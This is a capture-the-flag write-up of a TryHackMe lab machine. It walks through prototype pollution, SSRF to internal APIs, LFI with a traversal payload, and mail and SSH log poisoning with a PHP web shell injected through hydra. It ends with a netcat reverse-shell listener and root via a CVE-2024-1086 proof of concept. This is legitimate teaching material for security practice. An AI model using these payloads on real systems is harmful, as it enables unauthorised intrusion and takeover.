The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with a Nmap scan and have eight open ports. Among them SSH on 22, as well as other email service related ports and two out of the row ports 4000 and, 50000.
A default script and service scan reveals that there are web services on ports 4000 and, 50000. A Node.js is running on 4000 and an Apache httpd 2.4.41 on 50000. We also see a host mail.filepath.lab.
When visiting the index page on port 4000 we find a login form. We can log in with guest:guest.
Before we continue with port 4000, we enumerate the directories on port, 50000. Here we see phpmyadmin as directory. We extend our scan with ending to php using -x .php, but leave it at that for now.
When we visit the index page, we see that we are dealing with the SysMon app, behind whose login the first flag should be located.
We visit the login page, try guest:guest and some other default credentials, even though this would be far too easy, and are unsuccessful.
From Prototype Pollution To SSRF
We move back to the review app on port 4000 and use the suggested credentials guest:guest.
We successfully log in and are able to inspect our profiles and others.
We can view our profile and recommend activities. When you create an activity, it will be attached. If we change the key value of an activity that we have attached, its value changes and is not reattached. The value values are placed in quotation marks. A sanitization takes place.
The first idea was to work with server side includes, but this was not successful - just because of the name of the room. But while playing around with the ID, I noticed that we had made the profiles inaccessible and after restarting the machine and taking another look, something very obvious I noticed. The isAdmin value is set to false. Even if the values are sanitized and the values are set in quotation marks, try to set it to true.
After setting the isAdmin value to true through recommending an activity, two new links in the header appear API and Settings. This is called Prototype Pollution. Prototype pollution is a security vulnerability where we can manipilate an object's prototype, thereby injecting malicious properties that can propagate to all instances of that object. This can lead to unauthorized access or modification of data, enabling various attacks such as denial of service or remote code execution.
By visiting the /admin/api page reveals to us the internal API endpoints of which one of them discloses the credentials for the SysMon app. Those weren't visible in the Nmap scan, so we have to find a way to make a request through the application, for example.
Next we head to /admin/settings and see we could update the banner image by providing a URL. This begs almost for a try of SSRF. Server-Side Request Forgery (SSRF) is a vulnerability where an attacker tricks a server into making unauthorized requests to internal or external systems. Let's see if we can access the internal API endpoints.
Check out the follwing:
We try the first one http://127.0.0.1:5000/internal-api...
... And get base64 encoded JSON data as a result.
Passing it to CyberChef to decode it, we get the exact same response like in the example of /admin/api.
Next, we make a request to http://127.0.0.1:5000/getAllAdmins101099991...
And are able to retrieve the credentials for the SysMon App.
After logging in...
...We get redirected to dashboard.php and find the first flag.
From LFI To RCE
Upon closer inspection via Burp Suite and the source of the site, we see that the profile image gets loaded via /profile.php?img=profile.png.
We may be able to exploit it using Local File Inclusion (LFI) that allows us to include files on a server, potentially exposing sensitive data or executing arbitrary code.
We use the fuzzer FFuF to efficiently try out a large number of LFI payloads. We use the Jhaddix LFI list. Don't forget the phpsessid to include, since the profile.php page is only available for logged-in users. After a short time, we have a hit with ....//....//....//....//....//....//....//....//....//etc/passwd.
We can read /etc/passwd. The question for the second flag is about a hidden file in /var/www/html, but we are not able to enumerate the contents of directories with just LFI. So a webshell will probably be necessary. There are all kinds of ways that could be tested, my favorite one is LFI through php filters. Others like including the php session cookie and manipulating its cotent, but those didn't work. A good resource on that topic can be found here:
Another way could be by log file poisoning. Log file poisoning is a technique where we inject malicious input into log files, which can later be executed as code when the logs are processed or viewed. This can lead to Remote Code Execution (RCE) if the malicious input is executed by the system or application reading the logs.
We need to try various log file locations like /var/log/apache2/access.log. Some can be found here:
This can also be a valuable tool to try, but wasn't in the attempt of the challenge:
Log Poisoning Through Mail
Since so many services related to mail are present we try to posing the logs of the mail server.
The other attempt depicts on poisoning the email log instead of the auth.log, but wasn't successful. The following resources were used:
We could assume that the web app is running as www-data.
We connect to the open SMTP service on port 25 and craft and submit a mail and try to find it in the log files. With VRFY www-data@localhost we can confirm that the user is present.
telnet <IP> 25
EHLO <random character>
VRFY www-data@localhost
mail from:0xb0b@thm.com
rcpt to: www-data@localhost
data
Subject: title
hello you
.
In the log, we can see that our sender address is incomplete. It might have worked, cause the PHP code gets evaluated.
We try to list the files in the current directory and find the second flag inside that text file.
Log Poisoning Through SSH
After some further manual attempts, /var/log/auth.log seems promising since it logs also the tried SSH connections. If we are able to craft a malicious payload as the username, we could inject PHP code the log and get it executed. This was the first attempt of solving the machine.
We log in as an arbitrary user with some creds.
╭─xb0b@parrot~/Documents/tryhackme/include╰─➤ $ ssh0xb0b@include.thmTheauthenticityofhost'include.thm (10.10.51.221)'can't be established.ED25519 key fingerprint is SHA256:XIZy1SBMCXIIbBHIJl6jJB0pNbHYc5AFupuSLS6/Ya4.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added 'include.thm' (ED25519) to the list of known hosts.0xb0b@include.thm'spassword:Permissiondenied,pleasetryagain.
And see the result of an invalid login attempt with our username reflected.
Next, we try to log in with a PHP web shell, but ssh fails us here.
To circumvent it, we can either write a script or just use hydra.
╭─xb0b@parrot~/Documents/tryhackme/include╰─➤ $ hydra-l'<?php system($_GET['c']); ?>'-p'asdf'include.thmssh255↵Hydrav9.4 (c) 2022 by van Hauser/THC &DavidMaciejak-Pleasedonotuseinmilitaryorsecretserviceorganizations,orforillegalpurposes (this isnon-binding,these***ignorelawsandethicsanyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-02 12:49:43[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task[DATA] attacking ssh://include.thm:22/1of1targetcompleted,0validpasswordfoundHydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-02 12:49:47
After having planted the PHP web shell via the username, we are able to use it by including /var/log/auth.log and move through the system...
╭─xb0b@parrot ~/Documents/tryhackme/include
╰─➤ $ nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.8.211.1] from (UNKNOWN) [10.10.249.25] 37280
bash: cannot set terminal process group (1202): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
www-data@filepath:/var/www/html$ uname -a
uname -a
Linux filepath 5.15.0-1055-aws #60~20.04.1-Ubuntu SMP Thu Feb 22 15:49:52 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
www-data@filepath:/var/www/html$
The POC of CVE-2024-1086 is a promising one. We compile the following and bring that to the machine.
After compiling the exploit, bringing it to the machine and executing it, we become root.
Further Considerations
We have been able to detect protoype pollution on endpoint 4000. After looking at the app.js, PP2RCE could also be possible. Unfortunately, I have not been able to make any progress on this at the moment.
